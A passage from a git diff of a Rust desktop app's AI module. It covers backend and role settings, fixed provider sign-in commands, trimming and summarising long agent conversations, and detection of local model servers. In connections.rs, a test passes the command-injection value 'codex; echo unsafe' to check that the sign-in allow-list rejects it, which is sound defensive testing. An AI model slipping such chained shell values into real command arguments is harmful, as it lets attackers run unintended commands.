backends: Vec, + /// Role (`lead`, `worker`, `reviewer`, `builder`) → backend name. + pub roles: BTreeMap, + /// Backends to try in order when one fails before answering. + pub fallback_chain: Vec, + /// Price overrides by model id. + pub prices: BTreeMap, +} + +pub fn role_key(r: Role) -> &'static str { + match r { + Role::Lead => "lead", + Role::Worker => "worker", + Role::Reviewer => "reviewer", + Role::Builder => "builder", + Role::Extractor => "extractor", + } +} + +impl AiConfig { + /// Parse `settings.ai`. A malformed table gives an error the UI can show (never a panic). + pub fn from_table(t: &toml::Table) -> Result { + let mut c: AiConfig = toml::Value::Table(t.clone()).try_into().map_err(|e: toml::de::Error| { + ToolError::new(ErrorCode::BadSettings, format!("The [ai] settings couldn't be read: {e}")) + .with_remediation("Fix or remove the [ai] section in config.toml.") + })?; + c.backends.iter_mut().for_each(BackendEntry::model_from_command); + Ok(c) + } + + /// Parse from settings; unreadable config is logged and treated as empty. + pub fn from_settings(s: &Settings) -> AiConfig { + AiConfig::from_table(&s.ai).unwrap_or_else(|e| { + log::warn!("{}", e.message); + AiConfig::default() + }) + } + + pub fn to_table(&self) -> Result { + toml::Table::try_from(self).map_err(|e| ToolError::internal(format!("saving AI settings: {e}"))) + } + + pub fn get(&self, name: &str) -> Option<&BackendEntry> { + self.backends.iter().find(|b| b.config.name == name) + } + + pub fn enabled(&self) -> impl Iterator { + self.backends.iter().filter(|b| b.config.enabled) + } + + /// Add or replace a backend by name. + pub fn upsert(&mut self, e: BackendEntry) { + match self.backends.iter_mut().find(|b| b.config.name == e.config.name) { + Some(slot) => *slot = e, + None => self.backends.push(e), + } + } + + pub fn remove(&mut self, name: &str) -> bool { + let before = self.backends.len(); + self.backends.retain(|b| b.config.name != name); + self.roles.retain(|_, v| v != name); + self.fallback_chain.retain(|v| v != name); + before != self.backends.len() + } + + /// The backend for a role, with the plan's defaults: lead = first enabled backend; worker = + /// a local model if present, else lead; reviewer and extractor = only when set; builder = an + /// agent CLI if present, else lead. + pub fn backend_for(&self, role: Role) -> Option<&BackendEntry> { + if let Some(b) = self.roles.get(role_key(role)).and_then(|n| self.get(n)).filter(|b| b.config.enabled) { + return Some(b); + } + let lead = || self.enabled().find(|b| b.config.kind != BackendKind::AgentCli).or_else(|| self.enabled().next()); + match role { + Role::Lead => lead(), + Role::Worker => self.enabled().find(|b| b.config.kind == BackendKind::OpenaiCompatible).or_else(lead), + Role::Reviewer | Role::Extractor => None, + Role::Builder => self.enabled().find(|b| b.config.kind == BackendKind::AgentCli).or_else(lead), + } + } + + /// The chain to try for a conversation started on `first`: `first`, then the configured + /// fallback chain (skipping duplicates and disabled backends). + pub fn chain_from(&self, first: &str) -> Vec { + let mut out = vec![first.to_string()]; + for n in &self.fallback_chain { + if !out.contains(n) && self.get(n).is_some_and(|b| b.config.enabled) { + out.push(n.clone()); + } + } + out + } +} + +#[cfg(test)] +mod tests { + #[test] + fn the_default_builder_is_the_same_from_the_list_as_from_the_config() { + use crate::{BackendConfig, BackendKind, Role, default_builder}; + let b = |name: &str, kind, enabled| BackendConfig { name: name.into(), kind, model: String::new(), base_url: None, ssh_host: None, enabled }; + let cases: Vec<(Vec, Option<&str>)> = vec![ + (vec![], None), + (vec![b("Key", BackendKind::Anthropic, true), b("Claude Code", BackendKind::AgentCli, true)], None), + (vec![b("Key", BackendKind::Anthropic, true), b("Claude Code", BackendKind::AgentCli, false)], None), + (vec![b("Key", BackendKind::Anthropic, true), b("Claude Code", BackendKind::AgentCli, true)], Some("Key")), + (vec![b("Key", BackendKind::Anthropic, false), b("Claude Code", BackendKind::AgentCli, true)], Some("Key")), + (vec![b("Local", BackendKind::OpenaiCompatible, true), b("Key", BackendKind::Anthropic, true)], None), + ]; + for (list, chosen) in cases { + let mut cfg = AiConfig::default(); + for c in &list { + cfg.upsert(crate::BackendEntry { config: c.clone(), options: Default::default() }); + } + if let Some(n) = chosen { + cfg.roles.insert(role_key(Role::Builder).into(), n.into()); + } + let from_cfg = cfg.backend_for(Role::Builder).map(|e| e.config.name.clone()); + assert_eq!(default_builder(&list, chosen).map(|c| c.name.clone()), from_cfg, "{list:?} {chosen:?}"); + } + } + + use super::*; + + fn entry(name: &str, kind: BackendKind) -> BackendEntry { + BackendEntry { + config: BackendConfig { name: name.into(), kind, model: String::new(), base_url: None, ssh_host: None, enabled: true }, + options: BackendOptions::default(), + } + } + + #[test] + fn round_trip_through_settings_toml() { + let mut c = AiConfig::default(); + let mut a = entry("Claude", BackendKind::Anthropic); + a.options.effort = Some(Effort::High); + a.options.fallbacks_enabled = Some(false); + c.upsert(a); + c.upsert(entry("Local", BackendKind::OpenaiCompatible)); + c.roles.insert("reviewer".into(), "Local".into()); + c.fallback_chain = vec!["Local".into()]; + c.prices.insert("m".into(), Price { input_per_mtok: 1.0, output_per_mtok: 2.0, cache_read_per_mtok: None, cache_write_per_mtok: None }); + let mut s = Settings { ai: c.to_table().unwrap(), ..Default::default() }; + let text = toml::to_string_pretty(&s).unwrap(); + s = toml::from_str(&text).unwrap(); + let back = AiConfig::from_settings(&s); + assert_eq!(back, c); + assert!(text.contains("[[ai.backends]]"), "{text}"); + assert!(text.contains("effort = \"high\""), "{text}"); + } + + #[test] + fn roles_and_chains() { + let mut c = AiConfig::default(); + c.upsert(entry("Codex", BackendKind::AgentCli)); + c.upsert(entry("Claude", BackendKind::Anthropic)); + c.upsert(entry("Local", BackendKind::OpenaiCompatible)); + assert_eq!(c.backend_for(Role::Lead).unwrap().config.name, "Claude"); + assert_eq!(c.backend_for(Role::Worker).unwrap().config.name, "Local"); + assert_eq!(c.backend_for(Role::Builder).unwrap().config.name, "Codex"); + assert!(c.backend_for(Role::Reviewer).is_none()); + assert!(c.backend_for(Role::Extractor).is_none(), "the extractor only runs when chosen"); + c.roles.insert("lead".into(), "Local".into()); + assert_eq!(c.backend_for(Role::Lead).unwrap().config.name, "Local"); + c.fallback_chain = vec!["Claude".into(), "Local".into(), "Gone".into()]; + assert_eq!(c.chain_from("Local"), vec!["Local".to_string(), "Claude".to_string()]); + assert!(c.remove("Local")); + assert!(c.roles.is_empty()); + assert!(!c.remove("Local")); + } + + #[test] + fn malformed_table_is_an_error_not_a_panic() { + let t: toml::Table = toml::from_str("backends = 3").unwrap(); + assert_eq!(AiConfig::from_table(&t).unwrap_err().code, ErrorCode::BadSettings); + let s = Settings { ai: t, ..Default::default() }; + assert!(AiConfig::from_settings(&s).backends.is_empty()); + } + + /// #34: the agent's program in `command` and the model in `model` runs that agent with it. + #[test] + fn an_agent_named_by_its_command_gets_the_model() { + let one = |toml: &str| { + let t: toml::Table = toml::from_str(&format!("[[backends]]\nname = \"A\"\nkind = \"agent_cli\"\n{toml}")).unwrap(); + let b = AiConfig::from_table(&t).unwrap().backends.remove(0); + (b.config.model, b.options.cli_model) + }; + let reported = "model = \"deepseek/deepseek-flash\"\ncommand = \"opencode\"\nargs = [\"run\", \"--auto\"]"; + assert_eq!(one(reported), ("opencode".into(), Some("deepseek/deepseek-flash".into()))); + assert_eq!(one("model = \"sonnet\"\ncommand = 'C:\\Users\\u\\.bun\\bin\\opencode.exe'").0, "opencode", "a full path names it too"); + // Left as they are: a model that names the agent, a cli_model already set, an unknown program. + assert_eq!(one("model = \"opencode\"\ncommand = \"opencode\""), ("opencode".into(), None)); + assert_eq!(one("model = \"gemini\"\ncommand = \"gemini\""), ("gemini".into(), None)); + assert_eq!(one("model = \"x/y\"\ncommand = \"opencode\"\ncli_model = \"z\""), ("opencode".into(), Some("z".into()))); + assert_eq!(one("model = \"my-agent\"\ncommand = \"my-agent-cli\""), ("my-agent".into(), None)); + assert_eq!(one("model = \"claude-code\""), ("claude-code".into(), None)); + // Maki named by its program runs Maki's own adapter, not `maki ` (its terminal interface). + assert_eq!(one("model = \"anthropic/claude-sonnet-4-6\"\ncommand = \"maki\""), ("maki".into(), Some("anthropic/claude-sonnet-4-6".into()))); + } +} diff --git a/desktop/crates/ai/src/connections.rs b/desktop/crates/ai/src/connections.rs new file mode 100644 index 0000000..5921234 --- /dev/null +++ b/desktop/crates/ai/src/connections.rs @@ -0,0 +1,85 @@ +//! Hosted gateway preset and provider-owned browser sign-in commands. +use crate::{BackendConfig, BackendKind, Detected}; +use craft_anything_engine::CancelToken; +use craft_anything_evidence::ToolError; +use craft_anything_platform::Process; +use std::time::Duration; + +pub const EXPERIENTIAL_NAME: &str = "Experiential Labs"; +pub const EXPERIENTIAL_BASE: &str = "https://api.experientiallabs.ai/v1"; +pub const EXPERIENTIAL_KEY: &str = "EXPLABS_API_KEY"; + +pub fn experiential(key_present: bool) -> Detected { + Detected { + suggestion: BackendConfig { + name: EXPERIENTIAL_NAME.into(), + kind: BackendKind::OpenaiCompatible, + model: "qwen3.8-27b".into(), + base_url: Some(EXPERIENTIAL_BASE.into()), + ssh_host: None, + enabled: true, + }, + reason: "OpenAI-compatible API; choose a model from the live catalog after connecting.".into(), + needs_key: !key_present, + } +} + +/// Fixed provider commands only; callers cannot supply shell fragments or OAuth URLs. +pub fn login_command(agent: &str) -> Result<(&'static str, &'static [&'static str]), ToolError> { + match agent { + "codex" => Ok(("codex", &["login"])), + "antigravity" => Ok(("agy", &["login"])), + _ => Err(ToolError::invalid("This agent has no reviewed browser sign-in command.")), + } +} + +/// Credentials remain owned by the official CLI; no output or tokens are retained by REI. +pub fn login(agent: &str, cancel: CancelToken) -> Result<(), ToolError> { + let (program, args) = login_command(agent)?; + let process_cancel = cancel.clone(); + let output = Process::new(program) + .args(args.iter().copied()) + .timeout(Duration::from_secs(300)) + .cancel_when(move || process_cancel.is_cancelled()) + .stdout_cap(4096) + .stderr_cap(4096) + .label("provider browser sign-in") + .run() + .map_err(|_| { + if cancel.is_cancelled() { + ToolError::cancelled() + } else { + ToolError::unavailable("Provider sign-in could not finish. Run its official CLI login in a terminal and retry.") + } + })?; + if output.success { + Ok(()) + } else { + Err(ToolError::unavailable("Provider sign-in did not complete.") + .with_remediation("Run the official CLI login in a terminal, finish in your browser, then retry. REI did not retain the login output.")) + } +} + +#[cfg(test)] +mod tests { + use super::*; + #[test] + fn gateway_has_separate_credentials_and_real_endpoint() { + let preset = experiential(false); + assert_eq!(preset.suggestion.base_url.as_deref(), Some(EXPERIENTIAL_BASE)); + assert_eq!(preset.suggestion.kind, BackendKind::OpenaiCompatible); + assert!(preset.needs_key); + assert!(!experiential(true).needs_key); + assert_eq!(EXPERIENTIAL_KEY, "EXPLABS_API_KEY"); + assert_eq!(crate::keys::env_var_for_backend(EXPERIENTIAL_NAME, BackendKind::OpenaiCompatible), Some(EXPERIENTIAL_KEY)); + assert_eq!(crate::keys::env_var_for_backend("Other gateway", BackendKind::OpenaiCompatible), None); + assert_eq!(crate::keys::env_var_for_backend(EXPERIENTIAL_NAME, BackendKind::Openai), Some("OPENAI_API_KEY")); + } + #[test] + fn login_is_a_closed_command_contract() { + assert_eq!(login_command("codex").unwrap(), ("codex", &["login"][..])); + assert_eq!(login_command("antigravity").unwrap(), ("agy", &["login"][..])); + assert!(login_command("codex; echo unsafe").is_err()); + assert!(login_command("https://unknown.example").is_err()); + } +} diff --git a/desktop/crates/ai/src/context.rs b/desktop/crates/ai/src/context.rs new file mode 100644 index 0000000..cd54a0e --- /dev/null +++ b/desktop/crates/ai/src/context.rs @@ -0,0 +1,226 @@ +//! Context management for long agent conversations (R2.1): old tool results are trimmed, then the +//! oldest part is replaced by a summary when the conversation still doesn't fit, and the whole +//! conversation can be kept on disk (`transcript.json`) so a later message resumes it. +//! +//! Every edit keeps the shape providers require: the first message is the person's, each tool call +//! keeps its result, and the most recent messages are never touched. + +use crate::model::{Block, Msg, Speaker}; +use craft_anything_evidence::ToolError; +use serde::{Deserialize, Serialize}; +use std::path::Path; + +/// Messages at the end that trimming leaves alone (the current step and a few before it). +pub const KEEP_RECENT: usize = 12; +/// A trimmed tool result keeps this many characters. +const TRIMMED_KEEP: usize = 400; +/// What a cloud model's conversation may grow to (input tokens) before it is trimmed. +pub const CLOUD_CONTEXT_TOKENS: u64 = 150_000; +/// The same for a local model, whose context is usually small. +pub const LOCAL_CONTEXT_TOKENS: u64 = 24_000; +/// The version of `transcript.json`. +pub const TRANSCRIPT_VERSION: u32 = 1; + +/// What the model is asked when the oldest part of a conversation is replaced. +pub const SUMMARY_REQUEST: &str = "The conversation is getting too long to continue. Write a summary of the work so far that you can carry on from without the earlier messages: the task, what has been done (files made or changed, commands that worked), decisions and the reasons for them, what is left to do, and anything the person asked for. Be specific and complete; leave out pleasantries. Don't call any tools."; + +/// About how many tokens a conversation takes (4 characters a token), for when no turn has +/// reported its real size yet. +pub fn estimate_tokens(history: &[Msg]) -> u64 { + let chars: usize = history + .iter() + .flat_map(|m| &m.blocks) + .map(|b| match b { + Block::Text { text } => text.len(), + Block::Thinking { thinking, .. } => thinking.len(), + Block::RedactedThinking { data } => data.len(), + Block::ToolUse { input, name, .. } => name.len() + input.to_string().len(), + Block::ToolResult { content, .. } => content.len(), + }) + .sum(); + (chars / 4) as u64 +} + +/// Shorten tool results and drop reasoning in all but the last [`KEEP_RECENT`] messages. Returns +/// how many blocks changed. +pub fn trim_old(history: &mut [Msg]) -> usize { + let end = history.len().saturating_sub(KEEP_RECENT); + let mut changed = 0; + for m in history.iter_mut().take(end) { + let before = m.blocks.len(); + // Earlier turns' reasoning isn't needed again (providers ignore it outside the current step). + m.blocks.retain(|b| !matches!(b, Block::Thinking { .. } | Block::RedactedThinking { .. })); + changed += before - m.blocks.len(); + for b in &mut m.blocks { + if let Block::ToolResult { content, .. } = b + && content.len() > TRIMMED_KEEP + 100 + && !content.ends_with(TRIMMED_NOTE) + { + let mut cut = TRIMMED_KEEP; + while !content.is_char_boundary(cut) { + cut -= 1; + } + content.truncate(cut); + content.push_str(TRIMMED_NOTE); + changed += 1; + } + } + } + changed +} + +const TRIMMED_NOTE: &str = "… (trimmed to save room; run the tool again if you need the rest)"; + +/// Where to split a conversation so the part before it can be summarised: an assistant message +/// with about the last third after it. `None` when fewer than three messages would be summarised +/// (one is usually the previous summary, so there's nothing to gain). +pub fn cut_point(history: &[Msg]) -> Option { + let start = history.len().saturating_sub(history.len() / 3).max(1); + (MIN_SUMMARISED..=start.min(history.len().saturating_sub(2))).rev().find(|&i| history[i].role == Speaker::Assistant) +} + +/// Fewest messages worth replacing by a summary. +const MIN_SUMMARISED: usize = 3; + +/// The conversation with everything before `cut` replaced by `summary`. +pub fn summarised(history: &[Msg], cut: usize, summary: &str) -> Vec { + let mut out = + vec![Msg::user_text(format!("(Earlier messages were replaced by this summary to save room.)\n\n{}\n\nContinue the task from here.", summary.trim()))]; + out.extend(history.iter().skip(cut).cloned()); + out +} + +/// The conversation plus the summary request, appended to the last message when that is the +/// person's (two in a row aren't allowed everywhere). +pub fn with_summary_request(history: &[Msg]) -> Vec { + let mut v = history.to_vec(); + match v.last_mut() { + Some(m) if m.role == Speaker::User => m.blocks.push(Block::Text { text: SUMMARY_REQUEST.into() }), + _ => v.push(Msg::user_text(SUMMARY_REQUEST)), + } + v +} + +/// Add the person's text: appended to the last message when that is already theirs (a resumed +/// conversation can end with tool results). +pub fn push_user_text(history: &mut Vec, text: &str) { + match history.last_mut() { + Some(m) if m.role == Speaker::User => m.blocks.push(Block::Text { text: text.into() }), + _ => history.push(Msg::user_text(text)), + } +} + +#[derive(Serialize, Deserialize)] +struct Transcript { + version: u32, + history: Vec, +} + +/// Write the conversation to `path`. +pub fn save(path: &Path, history: &[Msg]) -> Result<(), ToolError> { + let text = serde_json::to_vec(&Transcript { version: TRANSCRIPT_VERSION, history: history.to_vec() }) + .map_err(|e| ToolError::internal(format!("couldn't write the transcript: {e}")))?; + craft_anything_engine::project::write_atomic(path, &text) +} + +/// A saved conversation, ready to continue: `None` when there is none, it's unreadable or from a +/// newer version. An unfinished step at the end (tool calls without results) is dropped. +pub fn load(path: &Path) -> Option> { + let t: Transcript = serde_json::from_slice(&std::fs::read(path).ok()?).ok()?; + if t.version > TRANSCRIPT_VERSION { + return None; + } + let mut h = t.history; + while h.last().is_some_and(|m| m.role == Speaker::Assistant && !m.tool_uses().is_empty()) { + h.pop(); + } + if h.first().is_none_or(|m| m.role != Speaker::User) { + return None; + } + Some(h) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + fn step(i: usize, result: &str) -> [Msg; 2] { + let id = format!("t{i}"); + [ + Msg { + role: Speaker::Assistant, + blocks: vec![ + Block::Thinking { thinking: "hmm".into(), signature: "s".into() }, + Block::ToolUse { id: id.clone(), name: "build_file_read".into(), input: json!({"path": "a"}) }, + ], + }, + Msg { role: Speaker::User, blocks: vec![Block::ToolResult { tool_use_id: id, content: result.into(), is_error: false }] }, + ] + } + + fn convo(steps: usize) -> Vec { + let mut h = vec![Msg::user_text("Build it")]; + for i in 0..steps { + h.extend(step(i, &"x".repeat(5000))); + } + h + } + + /// Every tool call has its result right after it, and the first message is the person's. + fn well_formed(h: &[Msg]) -> bool { + h.first().is_some_and(|m| m.role == Speaker::User) + && h.iter().enumerate().all(|(i, m)| { + m.tool_uses().iter().all(|(id, _, _)| { + h.get(i + 1).is_some_and(|n| n.blocks.iter().any(|b| matches!(b, Block::ToolResult { tool_use_id, .. } if tool_use_id == id))) + }) + }) + } + + #[test] + fn trimming_keeps_recent_messages_and_every_pair() { + let mut h = convo(20); + let before = estimate_tokens(&h); + assert!(trim_old(&mut h) > 0); + assert!(estimate_tokens(&h) < before / 2, "much smaller"); + assert!(well_formed(&h)); + let recent = &h[h.len() - KEEP_RECENT..]; + assert!(recent.iter().any(|m| m.blocks.iter().any(|b| matches!(b, Block::Thinking { .. }))), "recent reasoning stays"); + assert!(recent.iter().all(|m| m.blocks.iter().all(|b| !matches!(b, Block::ToolResult { content, .. } if content.len() < 5000)))); + assert_eq!(trim_old(&mut h), 0, "trimming twice changes nothing"); + } + + #[test] + fn a_summary_replaces_the_oldest_part() { + let h = convo(9); + let cut = cut_point(&h).unwrap(); + assert_eq!(h[cut].role, Speaker::Assistant); + let s = summarised(&h, cut, "Made index.html."); + assert!(s.len() < h.len() && s[0].text().contains("Made index.html.") && well_formed(&s)); + assert!(cut_point(&[Msg::user_text("hi")]).is_none()); + assert!(cut_point(&convo(1)).is_none(), "too little to summarise"); + assert!(cut_point(&s).is_none_or(|c| c >= 3), "a summary isn't summarised again on its own"); + // The request joins the last message when that is the person's. + let r = with_summary_request(&h); + assert_eq!(r.len(), h.len()); + assert!(r.last().unwrap().text().contains("summary")); + } + + #[test] + fn transcripts_resume_without_an_unfinished_step() { + let d = tempfile::tempdir().unwrap(); + let p = d.path().join("transcript.json"); + assert!(load(&p).is_none()); + let mut h = convo(2); + h.push(step(9, "")[0].clone()); + save(&p, &h).unwrap(); + let back = load(&p).unwrap(); + assert_eq!(back.len(), h.len() - 1, "the call without a result is dropped"); + assert!(well_formed(&back)); + let mut back = back; + push_user_text(&mut back, "Make it blue"); + assert_eq!(back.len(), h.len() - 1, "joined to the last tool results"); + std::fs::write(&p, r#"{"version":99,"history":[]}"#).unwrap(); + assert!(load(&p).is_none(), "a newer version is left alone"); + } +} diff --git a/desktop/crates/ai/src/detect.rs b/desktop/crates/ai/src/detect.rs new file mode 100644 index 0000000..e06607b --- /dev/null +++ b/desktop/crates/ai/src/detect.rs @@ -0,0 +1,369 @@ +//! Find AI that's ready to use on this machine: env keys, local servers (also those set up in +//! OpenCode), agent CLIs, ssh hosts. Probes run in parallel and the whole scan is bounded (about a +//! second). + +use crate::openai::{LOCAL_SERVERS, OpenAi}; +use crate::{BackendConfig, BackendKind, Detected}; +use craft_anything_evidence::ErrorCode; +use std::net::{SocketAddr, TcpStream, ToSocketAddrs}; +use std::path::PathBuf; +use std::sync::mpsc; +use std::time::{Duration, Instant}; + +/// Per-server connect bound. +pub const PROBE: Duration = Duration::from_millis(300); +/// Whole-scan bound. +pub const TOTAL: Duration = Duration::from_millis(1500); + +fn cfg(name: &str, kind: BackendKind, model: &str) -> BackendConfig { + BackendConfig { name: name.into(), kind, model: model.into(), base_url: None, ssh_host: None, enabled: true } +} + +/// Environment keys that are set. +pub fn env_keys(get: impl Fn(&str) -> Option) -> Vec { + let mut out = Vec::new(); + for (var, name, kind, model) in [ + ("ANTHROPIC_API_KEY", "Claude", BackendKind::Anthropic, crate::anthropic::DEFAULT_MODEL), + ("OPENAI_API_KEY", "OpenAI", BackendKind::Openai, crate::openai::OPENAI_DEFAULT_MODEL), + ("OPENROUTER_API_KEY", "OpenRouter", BackendKind::Openrouter, crate::openai::OPENROUTER_DEFAULT_MODEL), + ] { + if get(var).is_some_and(|v| !v.trim().is_empty()) { + out.push(Detected { suggestion: cfg(name, kind, model), reason: format!("Found {var} in your environment"), needs_key: false }); + } + } + // Kimi K3 builds through OpenRouter: with its key found, or one the person pastes. + let found = get("OPENROUTER_API_KEY").is_some_and(|v| !v.trim().is_empty()); + out.push(Detected { + suggestion: cfg(KIMI_NAME, BackendKind::Openrouter, crate::openai::KIMI_K3), + reason: if found { + "Kimi K3 through OpenRouter, with the OPENROUTER_API_KEY in your environment".into() + } else { + "Kimi K3 through OpenRouter: paste your OpenRouter key".into() + }, + needs_key: !found, + }); + let present = get(crate::connections::EXPERIENTIAL_KEY).is_some_and(|k| !k.trim().is_empty()); + out.push(crate::connections::experiential(present)); + out +} + +/// The name Kimi K3 is added under. +pub const KIMI_NAME: &str = "Kimi K3 (OpenRouter)"; + +/// Is something listening at this URL's host:port? (bounded TCP connect) +pub fn port_open(base_url: &str, timeout: Duration) -> bool { + let hostport = base_url.split("://").nth(1).unwrap_or(base_url).split('/').next().unwrap_or_default(); + let addrs: Vec = hostport.to_socket_addrs().map(|a| a.collect()).unwrap_or_default(); + addrs.iter().any(|a| TcpStream::connect_timeout(a, timeout).is_ok()) +} + +/// Words in the names of models that turn text into numbers, rank or transcribe, and can't chat: +/// an embedding model listed first was used for every message and each one failed (#127). +const NOT_CHAT: &[&str] = &["embed", "minilm", "bge-", "rerank", "whisper", "tts"]; + +/// The first model a server lists that can chat (else its first, so something is chosen). +pub(crate) fn chat_model(models: &[String]) -> Option { + let chats = |m: &&String| !NOT_CHAT.iter().any(|w| m.to_ascii_lowercase().contains(w)); + models.iter().find(chats).or(models.first()).cloned() +} + +/// One local server: connect, then list models. +pub fn probe_local(label: &str, base: &str) -> Option { + if !port_open(base, PROBE) { + return None; + } + let models = match OpenAi::compatible(label, base, None, "").list_models(Duration::from_millis(700)) { + Ok(m) => m, + // Something else listens there (another app's web server on 8080 answering 404): no model + // server, so chats with it could only fail (#30). + Err(e) if e.code == ErrorCode::GarbledOutput || e.details.as_ref().is_some_and(|d| d.get("status").is_some()) => return None, + // No answer in time: it may still be loading a model. + Err(_) => Vec::new(), + }; + let model = chat_model(&models).unwrap_or_default(); + let reason = match models.len() { + 0 => format!("Found {label} running at {base}"), + 1 => format!("Found {label} running with 1 model"), + n => format!("Found {label} running with {n} models"), + }; + let mut c = cfg(&format!("{label} (local)"), BackendKind::OpenaiCompatible, &model); + c.base_url = Some(base.to_string()); + Some(Detected { suggestion: c, reason, needs_key: false }) +} + +/// Agent CLIs on PATH. +pub fn agent_clis() -> Vec { + crate::cli_agents::KNOWN + .iter() + .filter_map(|(id, prog, display)| { + craft_anything_platform::which(prog).map(|p| Detected { + suggestion: cfg(display, BackendKind::AgentCli, id), + reason: format!("Found {display} at {}", p.display()), + needs_key: false, + }) + }) + .collect() +} + +/// The most servers taken from OpenCode's settings. +const OPENCODE_MAX: usize = 6; + +/// Where OpenCode keeps its settings (as setup registers it): `OPENCODE_CONFIG`, else +/// `opencode.jsonc` or `opencode.json` in `$XDG_CONFIG_HOME/opencode` (`~/.config/opencode`). +fn opencode_config(var: impl Fn(&str) -> Option, home: Option) -> Option { + if let Some(p) = var("OPENCODE_CONFIG").filter(|p| !p.trim().is_empty()) { + return Some(PathBuf::from(p)); + } + let dir = var("XDG_CONFIG_HOME").map(PathBuf::from).or_else(|| home.map(|h| h.join(".config")))?.join("opencode"); + ["opencode.jsonc", "opencode.json"].iter().map(|n| dir.join(n)).find(|p| p.is_file()) +} + +/// The OpenAI-compatible servers OpenCode's settings name on this computer or its network +/// (`provider..options.baseURL`), as (name, base URL): one on another port or machine is +/// offered too (#83, #73). Hosted services are left out; they need a key this scan doesn't have. +pub fn opencode_servers(text: &str) -> Vec<(String, String)> { + let Ok(doc) = craft_anything_formats::jsonc::parse(text, false) else { return Vec::new() }; + let config = doc.to_value(); + let Some(providers) = config.get("provider").and_then(serde_json::Value::as_object) else { return Vec::new() }; + providers + .iter() + .filter_map(|(id, p)| { + let base = p.pointer("/options/baseURL")?.as_str()?.trim().trim_end_matches('/'); + let name = p.get("name").and_then(serde_json::Value::as_str).filter(|n| !n.trim().is_empty()).unwrap_or(id); + on_this_network(base).then(|| (format!("{} from OpenCode", name.trim()), base.to_string())) + }) + .take(OPENCODE_MAX) + .collect() +} + +/// Name endings kept for local networks, which public DNS never answers. +const LAN_SUFFIXES: &[&str] = &[".local", ".lan", ".home.arpa", ".internal"]; + +/// An http(s) address on this computer or its local network: a private or loopback IP, or a name +/// that only a local network can answer (`localhost`, a bare name such as Docker's `ollama`, or a +/// [`LAN_SUFFIXES`] name). Nothing is looked up. +pub(crate) fn on_this_network(url: &str) -> bool { + let Some(rest) = url.strip_prefix("http://").or_else(|| url.strip_prefix("https://")) else { return false }; + let host = rest.split('/').next().unwrap_or_default(); + // `[::1]:1234`, `127.0.0.1:1234` or `name:1234`. + let host = match host.strip_prefix('[') { + Some(v6) => v6.split(']').next().unwrap_or_default(), + None => host.rsplit_once(':').map_or(host, |(h, _)| h), + }; + match host.parse::() { + Ok(std::net::IpAddr::V4(ip)) => ip.is_loopback() || ip.is_private() || ip.is_link_local(), + Ok(std::net::IpAddr::V6(ip)) => ip.is_loopback() || ip.is_unique_local() || ip.is_unicast_link_local(), + Err(_) => { + let host = host.to_ascii_lowercase(); + !host.is_empty() && (!host.contains('.') || LAN_SUFFIXES.iter().any(|s| host.ends_with(s))) + } + } +} + +/// Every local server to probe: the usual addresses, then those OpenCode names elsewhere. +fn local_servers() -> Vec<(String, String)> { + let mut all: Vec<(String, String)> = LOCAL_SERVERS.iter().map(|(l, b)| (l.to_string(), b.to_string())).collect(); + let config = opencode_config(|v| std::env::var(v).ok(), dirs::home_dir()); + let text = config.filter(|p| std::fs::metadata(p).is_ok_and(|m| m.len() <= 1024 * 1024)).and_then(|p| std::fs::read_to_string(p).ok()); + for (label, base) in text.as_deref().map(opencode_servers).unwrap_or_default() { + if !all.iter().any(|(_, b)| b.trim_end_matches('/') == base) { + all.push((label, base)); + } + } + all +} + +/// Everything, bounded by [`TOTAL`]. +pub fn detect_all() -> Vec { + let start = Instant::now(); + let (tx, rx) = mpsc::channel::<(usize, Vec)>(); + let mut jobs = 0usize; + for (i, (label, base)) in local_servers().into_iter().enumerate() { + let tx = tx.clone(); + if std::thread::Builder::new() + .name("ai-detect".into()) + .spawn(move || { + let _ = tx.send((i + 10, probe_local(&label, &base).into_iter().collect())); + }) + .is_ok() + { + jobs += 1; + } + } + { + let tx = tx.clone(); + if std::thread::Builder::new() + .name("ai-detect".into()) + .spawn(move || { + let _ = tx.send((5, agent_clis())); + }) + .is_ok() + { + jobs += 1; + } + } + drop(tx); + let mut parts: Vec<(usize, Vec)> = vec![(0, env_keys(|v| std::env::var(v).ok()))]; + while jobs > 0 { + let left = TOTAL.saturating_sub(start.elapsed()); + match rx.recv_timeout(left) { + Ok(p) => { + parts.push(p); + jobs -= 1; + } + Err(_) => break, + } + } + let mut hosts = crate::ssh::ssh_hosts(); + hosts.truncate(5); + let ssh: Vec = hosts + .into_iter() + .map(|h| { + let mut c = cfg(&format!("Claude Code on {h}"), BackendKind::AgentCli, "claude-code"); + c.ssh_host = Some(h.clone()); + Detected { suggestion: c, reason: format!("SSH host {h} from ~/.ssh/config (runs an agent CLI there)"), needs_key: false } + }) + .collect(); + parts.push((100, ssh)); + parts.sort_by_key(|(i, _)| *i); + parts.into_iter().flat_map(|(_, v)| v).collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn env_detection() { + let d = env_keys(|v| (v == "OPENROUTER_API_KEY").then(|| "k".to_string())); + assert_eq!(d.len(), 3); + assert_eq!(d[0].suggestion.kind, BackendKind::Openrouter); + assert!(d[0].reason.contains("OPENROUTER_API_KEY")); + // Kimi K3 rides on the same key, so it needs none of its own. + assert_eq!((d[1].suggestion.model.as_str(), d[1].needs_key), (crate::openai::KIMI_K3, false)); + // Without a key, Kimi K3 is still offered, asking for one. + let none = env_keys(|_| Some(" ".into())); + assert_eq!(none.len(), 2); + assert!(none[0].needs_key && none[0].suggestion.name == KIMI_NAME); + } + + #[test] + fn closed_port_is_fast_and_negative() { + let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap(); + let port = l.local_addr().unwrap().port(); + drop(l); + let t = Instant::now(); + assert!(probe_local("X", &format!("http://127.0.0.1:{port}/v1")).is_none()); + assert!(t.elapsed() < Duration::from_secs(1)); + } + + /// #30: another program on a model server's port isn't offered as one. + #[test] + fn only_a_server_that_lists_models_is_offered() { + use crate::tests::serve; + assert!(probe_local("llama.cpp server", &serve("404 Not Found", "404 page not found")).is_none(), "a Go web server's 404"); + assert!(probe_local("llama.cpp server", &serve("200 OK", "Admin")).is_none(), "a web page"); + let found = probe_local("llama.cpp server", &serve("200 OK", r#"{"object":"list","data":[{"id":"qwen3-8b"}]}"#)).unwrap(); + assert_eq!((found.suggestion.name.as_str(), found.suggestion.model.as_str()), ("llama.cpp server (local)", "qwen3-8b")); + assert!(probe_local("Ollama", &serve("200 OK", r#"{"object":"list","data":[]}"#)).is_some(), "running with no model yet"); + } + + /// #127: an embedding model listed first isn't the one chatted with. + #[test] + fn 